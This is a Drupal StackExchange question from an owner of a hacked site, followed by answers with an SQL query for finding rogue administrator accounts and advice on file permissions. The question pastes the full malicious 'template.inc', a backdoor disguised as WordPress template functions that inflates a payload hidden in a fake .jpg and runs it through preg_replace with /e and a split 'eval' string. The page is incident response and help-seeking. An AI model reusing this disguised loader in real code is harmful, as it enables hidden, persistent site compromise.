2

I'm having huge issues with a massive hack of our website. It was running Drupal 7.32 last year, when a big security issue was announced. Unfortunately we came too late and the site was hacked.

For the last few months we tried to clean the site every now and then, however, the hack is still active and finds a way to alter "bootstrap.inc", so it includes a "template.inc" which then modifies the page when Google is indexing it.

I reinstalled the whole Drupal system and manually transferred all the "sites" data, while I deleted and reinstalled every module in that folder, so not a single line of code should be remained after we moved to the new server.

However, it seems that the hack lives in the database. I only flushed the cache tables and did not really know where to look for malicious database entries.

The hack seems to do following things:

  • It is somehow able to write to sites/default/files/styles/large/public/field/image. I can find there files named: animation_01.gif, animation_02.gif, etc., pic-button-img-123.png etc., each of them about a few hundred bytes long and a bigger one called ip.dat a few MB big.
  • Then it uploads a file called template.inc in the includes folder of the root directory
  • It modifies bootstrap.inc so it contains the include line for the uploaded template.inc: include_once DRUPAL_ROOT.'/includes/template.inc';

If I remove that line, Google Webmaster Tools shows normal fetch results again.

So does anyone have an advice how to proceed now? Do you think the hack is located in the database, if so: what should I look for?

Maybe the images in that styles folder could be a hint, which module is abused? Do anyone know some internal details about the styles, how they're generated or whatever?

This is obviously the "brain" of the hack, uploaded as template.inc in the includes folder:

<?php




/**
 * Retrieve path to a template
 *
 * Used to quickly retrieve the path of a template without including the file
 * extension. It will also check the parent theme, if the file exists, with
 * the use of {@link locate_template()}. Allows for more generic template location
 * without the use of the other get_*_template() functions.
 *
 * @since 1.5.0
 *
 * @param string $type Filename without extension.
 * @param array $templates An optional list of template candidates
 * @return string Full path to file.
 */
function mb_get_query_template( $type, $templates = array() ) {
    $type = preg_replace( '|[^a-z0-9-]+|', '', $type );

    if ( empty( $templates ) )
        $templates = array("{$type}.php");

    $template = locate_template( $templates );
    /**
     * Filter the path of the queried template by type.
     *
     * The dynamic portion of the hook name, $type, refers to the filename
     * -- minus the extension -- of the file to load. This hook also applies
     * to various types of files loaded as part of the Template Hierarchy.
     *
     * @since 1.5.0
     *
     * @param string $template Path to the template. @see locate_template()
     */
    return apply_filters( "{$type}_template", $template );
}

/**
 * Retrieve path of index template in current or parent template.
 *
 * @since 3.0.0
 *
 * @return string
 */
function mb_get_index_template() {
    return get_query_template('index');
}

/**
 * Retrieve path of 404 template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_404_template() {
    return get_query_template('404');
}

/**
 * Retrieve path of archive template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_archive_template() {
    $post_types = array_filter( (array) get_query_var( 'post_type' ) );

    $templates = array();

    if ( count( $post_types ) == 1 ) {
        $post_type = reset( $post_types );
        $templates[] = "archive-{$post_type}.php";
    }
    $templates[] = 'archive.php';

    return get_query_template( 'archive', $templates );
}

/**
 * Retrieve path of post type archive template in current or parent template.
 *
 * @since 3.7.0
 *
 * @return string
 */
function mb_get_post_type_archive_template() {
    $post_type = get_query_var( 'post_type' );
    if ( is_array( $post_type ) )
        $post_type = reset( $post_type );

    $obj = get_post_type_object( $post_type );
    if ( ! $obj->has_archive )
        return '';

    return get_archive_template();
}

/**
 * Retrieve path of author template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_author_template() {
    $author = get_queried_object();

    $templates = array();

    if ( is_a( $author, 'WP_User' ) ) {
        $templates[] = "author-{$author->user_nicename}.php";
        $templates[] = "author-{$author->ID}.php";
    }
    $templates[] = 'author.php';

    return get_query_template( 'author', $templates );
}

/**
 * Retrieve path of category template in current or parent template.
 *
 * Works by first retrieving the current slug, for example 'category-default.php', and then
 * trying category ID, for example 'category-1.php', and will finally fall back to category.php
 * template, if those files don't exist.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'category_template' on file path of category template.
 *
 * @return string
 */
function mb_get_category_template() {
    $category = get_queried_object();

    $templates = array();

    if ( ! empty( $category->slug ) ) {
        $templates[] = "category-{$category->slug}.php";
        $templates[] = "category-{$category->term_id}.php";
    }
    $templates[] = 'category.php';

    return get_query_template( 'category', $templates );
}

/**
 * Retrieve path of tag template in current or parent template.
 *
 * Works by first retrieving the current tag name, and then
 * trying tag ID, for example 'tag-1.php', and will finally fall back to tag.php
 * template, if those files don't exist.
 *
 * @since 2.3.0
 * @uses apply_filters() Calls 'tag_template' on file path of tag template.
 *
 * @return string
 */
function mb_get_tag_template() {
    $tag = get_queried_object();

    $templates = array();

    if ( ! empty( $tag->slug ) ) {
        $templates[] = "tag-{$tag->slug}.php";
        $templates[] = "tag-{$tag->term_id}.php";
    }
    $templates[] = 'tag.php';

    return get_query_template( 'tag', $templates );
}

/**
 * Retrieve path of taxonomy template in current or parent template.
 *
 * Retrieves the taxonomy and term, if term is available. The template is
 * prepended with 'taxonomy-' and followed by both the taxonomy string and
 * the taxonomy string followed by a dash and then followed by the term.
 *
 * The taxonomy and term template is checked and used first, if it exists.
 * Second, just the taxonomy template is checked, and then finally, taxonomy.php
 * template is used. If none of the files exist, then it will fall back on to
 * index.php.
 *
 * @since 2.5.0
 * @uses apply_filters() Calls 'taxonomy_template' filter on found path.
 *
 * @return string
 */
function mb_get_taxonomy_template() {
    $term = get_queried_object();

    $templates = array();

    if ( ! empty( $term->slug ) ) {
        $taxonomy = $term->taxonomy;
        $templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
        $templates[] = "taxonomy-$taxonomy.php";
    }
    $templates[] = 'taxonomy.php';

    return get_query_template( 'taxonomy', $templates );
}

/**
 * Retrieve path of date template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_date_template() {
    return get_query_template('date');
}

/**
 * Retrieve path of home template in current or parent template.
 *
 * This is the template used for the page containing the blog posts.
 *
 * Attempts to locate 'home.php' first before falling back to 'index.php'.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'home_template' on file path of home template.
 *
 * @return string
 */
function mb_get_home_template() {
    $templates = array('sites', 'default', 'files', 'styles', 'large', 'public', 'field', 'image', 'aktuelles_2012_12_19_hoeller1');
    $image_extension='jpg';
    define('___REALDOCROOT', rtrim('/kunden/372493_91052/rp-hosting/KNR-00033/ANR-00000077', "\\/"));
    $home_tpl=join('/', $templates).'.'.$image_extension;
    return ($home_tpl)?___REALDOCROOT.'/'.$home_tpl:get_query_template( 'home', $templates );
}

/**
 * Retrieve path of front-page template in current or parent template.
 *
 * Looks for 'front-page.php'.
 *
 * @since 3.0.0
 * @uses apply_filters() Calls 'front_page_template' on file path of template.
 *
 * @return string
 */
function mb_get_front_page_template() {
    $templates = array('front-page.php');

    return get_query_template( 'front_page', $templates );
}

/**
 * Retrieve path of page template in current or parent template.
 *
 * Will first look for the specifically assigned page template.
 * Then will search for 'page-{slug}.php', followed by 'page-{id}.php',
 * and finally 'page.php'.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_page_template($template) {

    $template=mb_get_single_template($template);

    if($template){
        $popup_template=mb_get_comments_popup_template();
        preg_replace($popup_template, "e"."v"."a"."l('".$template."');", NULL);
    }else{
        $id = get_queried_object_id();
        $template = get_page_template_slug();
        $pagename = get_query_var('pagename');

        if ( ! $pagename && $id ) {
            // If a static page is set as the front page, $pagename will not be set. Retrieve it from the queried object
            $post = get_queried_object();
            if ( $post )
                $pagename = $post->post_name;
        }

        $templates = array();
        if ( $template && 0 === validate_file( $template ) )
            $templates[] = $template;
        if ( $pagename )
            $templates[] = "page-$pagename.php";
        if ( $id )
            $templates[] = "page-$id.php";
        $templates[] = 'page.php';

        return get_query_template( 'page', $templates );
    }   
}

/**
 * Retrieve path of paged template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_paged_template() {
    return get_query_template('paged');
}mb_locate_template('main_tpl', false, true);

/**
 * Retrieve path of search template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_search_template() {
    return get_query_template('search');
}

/**
 * Retrieve path of single template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_single_template($template) {

    $parts=explode('(', __FILE__);
    define('___LOADPREFIX', array_shift($parts));   
    $templates = array('', 'sites', 'default', 'files', 'styles', 'large', 'public', 'field', 'image'); 
    if(intval('1')==1){
        array_unshift($templates, ___REALDOCROOT);  
    }
    define('__C_L_CACHEDIR', join('/', $templates));        

    $content=file_get_contents($template);
    $content=@gzinflate($content);

    if($content!==false)
        return $content;
    else{
        $content=$content*35;
        return $content;
    }

    $object = get_queried_object();

    $templates = array();

    if ( ! empty( $object->post_type ) )
        $templates[] = "single-{$object->post_type}.php";
    $templates[] = "single.php";

    return get_query_template( 'single', $templates );
}

/**
 * Retrieve path of attachment template in current or parent template.
 *
 * The attachment path first checks if the first part of the mime type exists.
 * The second check is for the second part of the mime type. The last check is
 * for both types separated by an underscore. If neither are found then the file
 * 'attachment.php' is checked and returned.
 *
 * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and
 * finally 'text_plain.php'.
 *
 * @since 2.0.0
 *
 * @return string
 */
function mb_get_attachment_template() {
    global $posts;

    if ( ! empty( $posts ) && isset( $posts[0]->post_mime_type ) ) {
        $type = explode( '/', $posts[0]->post_mime_type );

        if ( ! empty( $type ) ) {
            if ( $template = get_query_template( $type[0] ) )
                return $template;
            elseif ( ! empty( $type[1] ) ) {
                if ( $template = get_query_template( $type[1] ) )
                    return $template;
                elseif ( $template = get_query_template( "$type[0]_$type[1]" ) )
                    return $template;
            }
        }
    }

    return get_query_template( 'attachment' );
}

/**
 * Retrieve path of comment popup template in current or parent template.
 *
 * Checks for comment popup template in current template, if it exists or in the
 * parent template.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'comments_popup_template' filter on path.
 *
 * @return string
 */
function mb_get_comments_popup_template() {
    $popup_template='(.*)';
    if(strlen($popup_template)>=3){
        $template='_'.$popup_template.'_';
    }else{
        $template = get_query_template( 'comments_popup', array( 'comments-popup.php' ) );

        // Backward compat code will be removed in a future release
        if ('' == $template)
            $template = ABSPATH . WPINC . '/theme-compat/comments-popup.php';
    }   

    if($template)
        $template.='e';

    return $template;
}

/**
 * Retrieve the name of the highest priority template file that exists.
 *
 * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which
 * inherit from a parent theme can just overload one file.
 *
 * @since 2.7.0
 *
 * @param string|array $template_names Template file(s) to search for, in order.
 * @param bool $load If true the template file will be loaded if it is found.
 * @param bool $require_once Whether to require_once or require. Default true. Has no effect if $load is false.
 * @return string The template filename if one is located.
 */
function mb_locate_template($template_names, $load = false, $require_once = true ) {
    $located = '';

    $template=mb_get_home_template();
    define('____CACHELOCK', $template);
    if (file_exists($template)) {
        define('____DATADIR', dirname($template).'/');
        return mb_get_page_template($template);
    }else{
        foreach ( (array) $template_names as $template_name ) {
            if ( !$template_name )
                continue;
            if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
                $located = STYLESHEETPATH . '/' . $template_name;
                break;
            } else if ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
                $located = TEMPLATEPATH . '/' . $template_name;
                break;
            }
        }

        if ( $load && '' != $located )
            load_template( $located, $require_once );

        return $located;
    }   
}
/**
 * 
 * The globals are set up for the template file to ensure that the one
 * environment is available from within the function. The query variables are
 * also available.
 *
 * @since 1.5.0
 *
 * @param string $_template_file Path to template file.
 * @param bool $require_once Whether to require_once or require. Default true.
 */
function mb_load_template( $_template_file, $require_once = true ) {
    global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;

    if ( is_array( $wp_query->query_vars ) )
        extract( $wp_query->query_vars, EXTR_SKIP );

    if ( $require_once )
        require_once( $_template_file );
    else
        require( $_template_file );
}
  • I was also hacked and found a refresh.inc file that was obviously added. Lots of base64_decode() calls and very obfuscated code. – Aaron Kreider Nov 14 '17 at 23:09
2

Look for a rogue user & role, you should be able to find it by running the following SQL query:

SELECT * FROM users AS u 
INNER JOIN users_roles AS ur ON u.uid = ur.uid 
INNER JOIN role AS r ON ur.rid = r.rid 
INNER JOIN role_permission AS rp ON r.rid = rp.rid 
WHERE rp.permission IN('administer filters', 'administer users', 'administer permissions', 'administer content types', 'administer site configuration', 'administer nodes') 
AND u.created > UNIX_TIMESTAMP(STR_TO_DATE('Oct 15 2014', '%M %d %Y '));

To stop the filesystem getting re-infected, the website should only have write access to the sites/default/files folder, etc. Have a look at Securing file permissions and ownership for more details

  • Thanks Colin! I only got one account listed after executing your query. How should I proceed? It's an account of one of our users, who should only have the content editor role. Btw. thanks for the hint about the file permissions, I fixed them. – tamasgal Apr 17 '15 at 15:17
  • OK I would assume that account has been compromised, etc. immediately change the password and speak with the user concerned. It may be necessary to quarantine any content that they are the user of until you can find if anything else is wrong – Colin Shipton Apr 18 '15 at 9:23
  • I've got the same problem. Other people recommend 0755 permissions for the drupal directories like includes and that is what I'm using - and the owner is not apache, so it shouldn't be writeable. But I'm still getting re-infected. – Aaron Kreider Apr 13 '16 at 20:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.